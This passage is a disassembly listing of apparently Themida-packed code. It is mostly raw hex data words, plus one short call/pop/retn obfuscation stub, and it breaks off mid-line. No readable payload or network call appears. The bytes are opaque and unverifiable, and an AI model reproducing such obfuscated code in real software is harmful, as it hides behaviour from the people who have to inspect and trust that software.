3, 58C35820h dd 4244489h, 4244481h, 16h, 0ECC35040h, 0DB0BB931h, 80850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 39951EC3h, 862D45E3h, 9529AFE1h, 6120985h dd 0BD8BF38Bh, 6122C01h, 2F92BD83h, 0F000616h, 0E84h, 49BD8B00h dd 0E9061210h, 85h, 0C7F0B70Fh, 162F9285h, 106h, 0E9BD0B00h dd 0E906121Fh, 6Dh, 23B1B58Bh, 6E80612h, 7000000h, 61A6991Bh dd 68C0F7Dh, 89000000h, 120A09BDh, 85C75F06h, 6162F92h dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_589C93 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589C93 proc near ; CODE XREF: Themida_:00589C8Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_589C93 endp ; --------------------------------------------------------------------------- db 40h dd 0E1ACCBB8h, 6048F295h, 0EE8h, 0B7BA1700h, 8A2C1F16h dd 6EAC22A1h, 315287B4h, 12200DBDh, 0BF535E06h, 178D3571h dd 499D8D5Eh, 0E8061220h, 8, 1993C66h, 0A64C2711h, 23815EFCh dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 24C35141h, 9CCA58B6h, 9D897EF8h, 61209BDh, 6F9BD8Bh dd 8C660612h, 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 1C16A20Ah, 8B302755h, 12202DB5h dd 4C3F606h, 51840Fh, 95FF0000h, 6120135h, 11E8h, 87D91300h dd 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 0B58B8FBDh, 61229E1h dd 0BE66905Fh, 60506F3Ah, 9E8h, 0FE6A600h, 259342B2h, 0A6B68E41h dd 0D78B665Bh, 70BE9061h, 0F4F9469h, 68Fh, 0D1952900h dd 0E906122Ah, 3E7h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 899E52C3h, 122DB19Dh dd 8970E606h, 12173DBDh, 919D3106h, 0E406120Dh, 53006A71h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0CD2D423Ch, 3940459Ch, 820F43A0h, 6, 0E2D8D89h, 0B60F0612h dd 0BDB58BD8h, 0BA061229h, 6, 17598D29h, 0C38B0612h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2CC35545h, 0FB0F25B9h dd 0F57536A8h, 68B0Fh, 8D890000h, 61204F5h, 2904E8C1h dd 1214E9B5h, 0E2F76606h, 3499BD8Bh, 0D82B0612h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D6C35141h, 0E73268F8h dd 665092ADh, 1C89F38Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 91851442h, 0F8E9E4EDh dd 8060FD85h, 9D2357D6h, 6120769h, 49B5FF61h, 6A061214h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 41BAC356h, 13E9h, 0CB324400h, 678B181Eh dd 430907Fh, 0E1D66B75h, 595F011Fh, 2EC98D89h, 95FF0612h dd 61219CDh, 14E9h, 36CD00h, 6AA8FF98h, 6450EBE1h, 0EF539370h dd 0A9F0D8D3h, 12E95Bh, 21680000h, 7BD6F5C6h, 3758C93h dd 0B90E24CEh, 0AE40A427h, 0FE900B0h, 49000000h, 38450480h dd 682E4024h, 14AAA518h, 70E6E9EDh, 1E819501h, 71E40612h dd 18318509h, 613C0612h, 229830Fh, 89600000h, 1213FDB5h dd 13E806h, 0EA4E0000h, 0D3119566h, 0C71A391Ah, 0A11173B1h dd 0CB0AF7DFh, 0F59589D6h, 59061234h, 81850161h, 0F061203h dd 0BAF8D8B6h, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 97C35545h, 0C63E0C98h, 6650CA44h, 7C72C781h, 3860F5Eh dd 66000000h, 0C38BF08Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 5AC35747h, 0F9240A96h, 6604E8C1h, 6694F6BFh dd 0F18BE2F7h, 8589D82Bh, 612176Dh, 14E9h, 0C07A2700h dd 0DD58BF6h, 4B57188Ah, 62CB46FCh, 57FBACA5h, 6A58D4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 1BD44C3h, 1221BDB5h, 0FD82B06h, 14688h, 0D58D8900h dd 0B906121Ah, 7, 10CDB589h, 0C1830612h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0FD93BD3h, 10E86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8C66E5F5h, 12E9D9h, 0A0E80000h dd 6D4F9F98h, 9B9EAED1h, 6DE361D4h, 9240181Dh, 4C1F6F5h dd 0AA840Fh, 8B660000h, 3595FFFEh, 6A061201h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 24FDC352h, 0D53B6877h, 95895B3Dh, 612139Dh, 0E79B589h dd 0C32B0612h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0DAC35545h, 51C5152Dh, 89E7F684h, 1229B1BDh, 8343D06h dd 860F0000h, 3Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0A2C35242h, 0D5C1FB56h, 0B4DF687Bh, 0FFE8B66h dd 48Ch, 88BF6600h, 29E928h, 0BD090000h, 6122021h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 46AA7FC3h, 8B36C259h, 6AD88BC3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FFD9C351h dd 86E56423h, 969CE869h, 6E9h, 8E10E600h, 0C7512523h, 1208C185h dd 36D17306h, 0C08BF81Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 52C35343h, 68D0F98h, 8B000000h, 122125B5h dd 49BD8106h, 0D0061214h, 0F000007h, 2B85h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 7CAEDF02h, 2F2599E8h, 144985FFh, 0F08B0612h, 1449B5FFh dd 0B5090612h, 61201E5h, 19CD95FFh, 85090612h, 6121D91h dd 0D1B58B90h, 6A06121Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 6AF9C352h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 4B53C357h, 112D9EE8h, 3F0A331Bh, 5D90BE66h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CDC35646h, 0C7BE6638h dd 4DD78110h, 0F3B9233h, 0B70FF0B7h, 0BE8FFh, 0A87D0000h dd 827E8878h, 0C78155CEh, 6A5EFEh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0FB88CBC3h, 1F859D89h dd 0B5310612h, 61220C9h, 2D7DB58Bh, 0B58B0612h, 6121329h dd 0C818589h, 52FC0612h, 21BD29F8h, 5E061235h, 1D29B533h dd 81660612h, 0F8CDB3D6h, 13E9h, 4D850800h, 0D72E153h dd 0A5A902F1h, 82EBABA1h, 59ACA3B9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 8EC35545h, 66F72D1Ch, 8B9249BEh dd 0BE6652F0h, 8B5E734Eh, 0F7CFE9F2h, 0BD8BFFFFh, 612210Dh dd 0DE8h, 4CE83900h, 0A1F4411h, 83ADDE63h, 0F960E9B7h dd 8E9h, 94D5E000h, 0FC61D750h, 0EB8166B4h, 5E6158F6h dd 0EE816660h, 0FEB9CA03h, 31FFFFFFh, 12036D9Dh, 1D8D2106h dd 6A061205h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0CD3CC352h, 0B18E8E55h, 0BF0F5074h dd 8D2158FEh, 6122049h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0EEC35646h, 411CC24Fh, 8982FC27h, 122199B5h dd 0CDB58906h, 8B061222h, 12051D8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 2AC73D6Eh dd 0F78B80EFh, 0F01E183h, 2985h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A2718F64h dd 925E6C2Bh, 0ECD8D89h, 8D8B0612h, 6122049h, 1C55958Bh dd 0E1830612h, 23850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C315C356h dd 5286274h, 6061897Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 66C35545h, 0FEB9837Bh dd 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 6D8AC356h, 9E95Eh, 17950000h dd 0B222656h, 0B0E2D070h, 0B18D211Dh, 6A06121Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0AB83C353h, 0FE9C79Dh, 10000000h, 3672A082h, 0B9BB5D9Fh dd 68FC154Ah, 8D21AF46h, 61222B1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 7DC35141h, 51724121h, 1FC59509h dd 8B5B0612h, 121CB18Dh, 1E18306h, 7850Fh, 0E38A0000h dd 0F83E61BEh, 0B18D8B70h, 89061222h, 121F5D8Dh, 1E18306h dd 6850Fh, 9D8B0000h, 6122039h, 0DE86061h, 61000000h, 0BD25B7DFh dd 55FE07DEh, 9B6A7AF1h, 2AE9BD8Bh, 805F0612h, 0FEB90DE4h dd 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0D293C355h, 3ED8D21h, 8D210612h dd 61218D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0F6C35646h, 0DC4BF756h, 0D0C71332h, 0ED8D8BB3h dd 0E9061203h, 0Ah, 28B2AD87h, 1E06CE35h, 0E183912Dh, 2E850F01h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 533C350h, 0DC6F6D15h, 19D8976h dd 8B06122Bh, 12018DB5h, 0D18D8B06h, 6A061218h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 85BCC355h, 2400D289h, 0E1837248h, 23850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 7FD9C353h, 1451BD29h, 60610612h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 67C35141h, 0E98CC7EFh dd 9A6EE70h, 1203898Dh, 0FFFEB906h, 6AFFFFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 8A31DFC3h dd 0F0437034h, 895D28EAh, 12193D9Dh, 8D8D2106h, 0E9061231h dd 0Fh, 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 21B368BFh, 1208C18Dh dd 699D8B06h, 0B806121Ch, 70EBFCCDh, 318D8D8Bh, 6A0612h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 13E93AC3h, 0CA000000h, 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh dd 352129C9h, 0E183619Dh, 36850F01h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0FA7BC357h, 24FAAAABh, 857086BAh, 274BBB66h, 8E9h, 3B0E3600h dd 0BE7DF403h, 0C18D8B94h, 6A061208h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1221C357h dd 0B64C5492h, 1E1830Dh, 0F850Fh, 800F0000h, 6, 0DE1BD23h dd 0D3800612h, 6A60614Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0A5E9C353h, 0BD8B0CE1h dd 612138Dh, 5E9h, 78BA7E00h, 958B760Ah, 61234D9h, 144985C7h dd 7D00612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 3E2000C3h, 50006A61h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0CDFB92A3h dd 0F1D78060h, 12E8h, 0C63C000h, 0D691AC1Bh, 0D0BBEEBFh dd 6F1C7007h, 0B8887B35h, 45D636EBh, 7EB615Eh, 0E99D61h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 8592C355h, 0FEEF888Fh, 23FC568Dh dd 2D7DB589h, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 8B0DBCC3h, 0B7B3C3BAh, 0E9C18BBBh dd 75h, 0D88C6660h, 840F04A8h, 35h, 0B5FF016Ah, 61203B1h dd 7F35858Dh, 0D0FF0615h, 1958589h, 0FE8B0612h, 680CEFC1h dd 20040000h, 26A006Ah, 0D6857h, 95FF0001h, 6120195h, 32E9h dd 7185C600h, 56061228h, 0C530DF68h, 0E9B5FFA9h, 8D061230h dd 157F3585h, 89D0FF06h, 1201C185h, 0FD858D06h, 50061206h dd 56A206Ah, 0C195FF56h, 61061201h, 6E0C1C3h, 5FB96660h dd 6AC08BBAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 4EE7C352h, 3C17CB31h, 0EE8193D8h dd 265CDE7Ch, 0CE8166h, 91BD839Bh, 6121Bh, 0BD830975h dd 61217DDh, 50197400h, 0B8C08B53h, 438h, 858589h, 9D8D0612h dd 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h dd 438h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 26C35545h, 9A4D026Dh dd 0F1267722h, 10E965h, 1FB10000h, 0FD3188D1h, 89B81E6Bh dd 9228A9EFh, 8D8981C2h, 6122F91h, 0B58BC08Bh, 6121A5Dh dd 87EE8h, 0F1858900h, 8B06122Bh, 1205B98Dh, 86DE806h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 23A47AC3h, 1203F18Dh, 0A5BD2B06h, 89061209h dd 121D2D85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0E99386EFh, 0F97A0CDh, 682h, 0B5858900h dd 0E8061220h, 80Bh, 13799589h, 85890612h, 6121B85h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0A9C35646h, 683A4436h dd 0B81B0864h, 15B5011Ch, 0E8061205h, 7CFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B3C35141h, 1276D73Fh dd 0A6FBFD41h, 0D29B589h, 85890612h, 6121FC9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0DDC35040h, 3890FD8h dd 80000000h, 74E8A0CDh, 6A000007h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B42C353h dd 1229A9B5h, 6DB26006h, 0D1858961h, 6A06120Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0BFFBC355h, 0E8F08B7Dh, 723h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 24C35040h, 71BD2937h, 89061222h dd 122DB985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0C90BC1D9h, 6D6E8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 25B9E168h, 60651A00h, 12820Fh, 0DE90000h, 49000000h dd 7586916h, 59E09788h, 88130D54h, 231D8589h, 89610612h dd 122D6985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 277B3A09h, 68E89B86h, 89000006h dd 12311985h, 0D98D8906h, 0E8061200h, 657h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 58C35141h, 4A5B531h dd 85890612h, 6122A69h, 1A7D9589h, 24E80612h, 29000006h dd 121BE1B5h, 49858906h, 8106122Ah, 0DAAE3BCFh, 60DE80Ah dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 7E5AD9C3h, 8F0F587Ch, 3, 0F9C9B70Fh, 2C818589h dd 29F80612h, 12079995h, 5D1E806h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5B2CFEC3h dd 23818589h, 840F0612h, 3, 0E8F98B66h, 59Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BEC35242h, 268D8589h dd 81660612h, 608470C9h, 2ECE8166h, 6CE861AAh, 8B000005h dd 120CC18Dh, 0D858906h, 51061205h, 0EDD8589h, 0E8590612h dd 553h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0DAC35141h, 66BAAF13h, 8589CF8Bh, 61206ADh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F7C35242h, 0C3AB99B6h dd 816660B2h, 8BFFD1DBh, 121D518Dh, 0F8E86106h, 0F8000004h dd 13DD8589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 2D885DC3h, 8BCA8B66h, 120199B5h dd 0F00B006h, 6052D8B6h, 3025B501h, 85890612h, 6120035h dd 6BA5F61h, 0E9000000h, 9, 0CC4470DFh, 0F0CB7CFFh, 6AC38B42h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 8535C351h, 0C9F65E28h, 75201DC5h, 158E0Fh dd 10E90000h, 50000000h, 0FB0B4BA4h, 46F8D4A4h, 6C45C03Fh dd 0C13A92B0h, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 667874C3h, 6AE2F7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 52BC1C3h dd 159D89DDh, 2B061229h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 1D0BD591h, 5CB52B96h dd 0D8A0F93h, 0E9000000h, 8, 0BA98D58Ch, 0AC336552h, 12E850h dd 59D90000h, 24AEF763h, 22FFD2EEh, 15780BAAh, 0BC9ABF62h dd 198E0Fh, 14E90000h, 0FA000000h, 0AD871517h, 0CE3528B2h dd 912D1E06h, 0C8AD15C5h, 5EAA49B4h, 52006A93h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 712407F4h dd 0B5890AA9h, 6121F71h, 18D0Fh, 1F80000h, 12290D85h, 3595FF06h dd 6A061201h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 5F92C352h, 7C2291E0h, 71958960h dd 66061234h, 61F93FBAh, 0D8D8B5Bh, 8D06122Fh, 121FAD95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 712407F4h, 924D0AA9h, 6A1A89h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0BA0E07C3h dd 0CE9h, 0C5163D00h, 0E257A954h, 7C2C5908h, 4428966h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1CC35545h dd 8D02EF3Ch, 1200F995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0CB67D726h, 37B2C23Dh dd 0D5BF6652h, 0B52B5FDDh, 6121B01h, 6A1A89h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 374E55C3h dd 0AC3641FDh, 89784922h, 1210A5B5h, 12E806h, 0C0850000h dd 95EA474Bh, 0A6F5162Dh, 0DAD97C35h, 0BA6C47ADh, 8C68166h dd 42895E79h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 89B757A4h, 122C999Dh, 0A1958D06h dd 6A061230h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0F2EC356h, 1A89F9B7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 40C35545h, 0FAD6127Dh dd 0CDBD33F8h, 89061222h, 6A0442h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 653D94C3h, 0FF110954h dd 840FEB2Bh, 2, 958DCF8Bh, 6122A35h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F7C35242h, 89B86660h, 2840F5Ch dd 8B000000h, 1A8961D8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0E3C35141h, 0C09DBA65h, 0FEBF0FF3h, 23F99D89h dd 42890612h, 6EB96604h, 5958D03h, 6A061214h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 3047C351h, 0FCEE6635h, 0F601A89h, 689h, 61958B00h, 6006121Dh dd 11418529h, 7E90612h, 9C000000h, 2A1BE2B0h, 616165FBh dd 1044289h, 1200E98Dh, 59958D06h, 0F9061219h, 1A89CE8Bh dd 0FFAB70Fh, 68Dh, 0F9B58B00h, 89061210h, 8D890442h, 61203A1h dd 0E01958Dh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 34E562C3h, 0FD125AC5h, 8549BFCEh dd 1A8956F0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 65C35040h, 89D9FC74h, 6A0442h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 53A115C3h dd 229D8D8Bh, 8D5F0612h, 12126595h, 601A8906h, 319589FCh dd 6106121Eh, 8B044289h, 122A89B5h, 0F2E906h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0B70ECC3h, 202FF0AEh, 91BD8B97h, 6A061222h, 0CE900h dd 0A29E0000h, 55822F22h, 734AF6Dh, 6ABBE4h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 50C35343h, 94679A40h dd 60143F7Ah, 89006A6Dh, 1205719Dh, 0FD958906h, 6A06121Eh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 51CBE21h, 896070C2h, 12049995h, 86E28006h dd 11952961h, 0FF06122Eh, 122F4995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 81D4E3D2h dd 9F71B3F1h, 6AC32Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0BF2345C3h, 4E683DF1h, 8B66C58Ah dd 6AC08BFEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0EC85C352h, 0BD83E1B1h, 6121B91h dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h, 438B8h dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h dd 61217h, 53501774h, 438B8h, 95858900h, 8D061222h, 14AB179Dh dd 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0F46032Dh, 6AF6B7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 214C18C3h dd 0C744F902h, 9FE9818Bh, 8B0D6AEFh, 1858DC0h, 6A06122Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0E8D3C353h, 0D888EF81h, 0E8903453h, 0Bh dd 0A7BFFE1h, 7137297h, 8B0E7A1Dh, 50505FD8h, 0BE9905Fh dd 0D7000000h, 0B4792F7h, 0AAB65627h, 8D0181C7h, 61205C1h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 1726C5C3h, 8E9h, 497BC00h, 0CFB18B32h dd 6A006A9Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 1290C353h, 9D03EBEBh, 6120E25h dd 4C72858Dh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 874F59C3h, 0E9A354C7h, 0Dh, 0E05D8267h dd 9376E6EFh, 0C20CFC19h, 5C083ABh, 0EB80FB8Bh, 0EE950E1h dd 5000000h, 0EEBCCC33h, 2191F17Ah, 7019CF8Dh, 2404893Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CFC35545h dd 0DCEF76AAh, 6A8FF6h, 0F46C30BBh, 6A006A03h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 4628C350h, 0DB595FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 5B8BACC3h, 9D95093Ah dd 8D06121Dh, 15AF028Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0B11FD07h, 0D1FF93F9h dd 5C59D23h, 0BD830612h, 61207ADh, 0B5850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 79D8C355h, 0EACB4E61h, 6A026A71h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0EE3C353h, 6A1327BEh, 0E9728CBAh, 0Ah, 0D4BA621Eh, 0CBE2C026h dd 5050196Eh, 2860F52h, 56000000h, 66310F5Fh, 5A29A1BBh dd 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0F4C35242h, 28A8CDE1h, 999D89ABh, 0F061218h, 38Ch dd 0FE8B6600h, 6A595FFh, 8B0F0612h, 0Ch, 68D0Fh, 9D890000h dd 6121285h, 0E11E9h, 0E800h, 815D0000h, 164C7CEDh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 449EC102h, 0A7F19862h, 0BF66DA1Dh, 858D78ACh, 6159437h dd 1F719D29h, 0F900612h, 1F84h, 8B666000h, 14E8D6h, 9AF70000h dd 8188C184h, 76A44DBCh, 151B8331h, 0EAABBA23h, 61596351h dd 0FE950h, 0E2BF0000h, 0C64A4020h, 4256DBA8h, 3E68A4CFh dd 6A908Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0FADEE6C3h, 319D8B30h, 64061214h, 35FFh dd 1600000h, 12110D8Dh, 13E906h, 0FF740000h, 0A314A014h dd 1FF6EC19h, 0A60A48CCh, 0F0B2C51Ch, 89646143h, 25h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7C6D101Bh, 128AFD1h, 120159B5h, 7985FF06h, 0E8061206h dd 5, 0D9F3C37Ah, 0F88B66A7h, 6AFF6A5Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 7EFCC351h dd 0D7ABEDAEh, 116DBD33h, 85890612h, 6122EF5h, 2BF1B5FFh dd 0E5B30612h, 2CB595FFh, 26E90612h, 0F9000001h, 953100B0h dd 61218D5h, 71E470E6h, 18998529h, 613C0612h, 10B830Fh dd 0D88A0000h, 60C8B60Fh, 585F5256h, 61FFBF0Fh, 6BAh, 0DABF0F00h dd 0B509C18Bh, 6121A11h, 8104E8C1h, 0BB3C91C3h, 0E2F76606h dd 2BFABF0Fh, 208C0FC8h, 0E8000000h, 14h, 0B1C06BCFh, 8F8D6116h dd 0A00D3B00h, 29C4F1D7h, 0D0F47D6h, 1E519D8Bh, 8B5B0612h dd 0F8BF0FD1h, 4E95B57h, 66000000h, 8B759BBBh, 121FAD85h dd 835B5006h, 0C08307C0h, 5E800h, 5D360000h, 8B539F8Ch dd 120E199Dh, 8B605B06h, 6148B2F1h, 830FD03Bh, 19h, 2CA1BD8Bh dd 6EE90612h, 53000000h, 30CD9589h, 815F0612h, 0DF307ACBh dd 498D8B46h, 8A061220h, 1E183DCh, 4F840Fh, 800F0000h dd 5, 1EA197BFh, 49A58364h, 0FE061220h, 75953360h, 61061230h dd 1FAD9589h, 890F0612h, 5, 0DBBF0F53h, 13E85Bh, 3800000h dd 56E5F46Bh, 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 0C185898Ah dd 5F061222h, 0E9h, 83B58D00h, 0E90615DEh, 0Ah, 6FAA2E12h dd 14C158D3h, 6A0F52h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 96C35040h, 11EAEB13h, 0CD95FF5Ah, 0B9061219h dd 749h, 6820Fh, 0BD890000h, 6120725h, 6AFCE183h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 6F30C353h, 896052FCh, 1201499Dh, 6160B406h, 0B85Fh dd 60F80000h, 5D958960h, 8B061209h, 1211D195h, 958B6106h dd 6121311h, 6AD22B61h, 3E85300h, 20000000h, 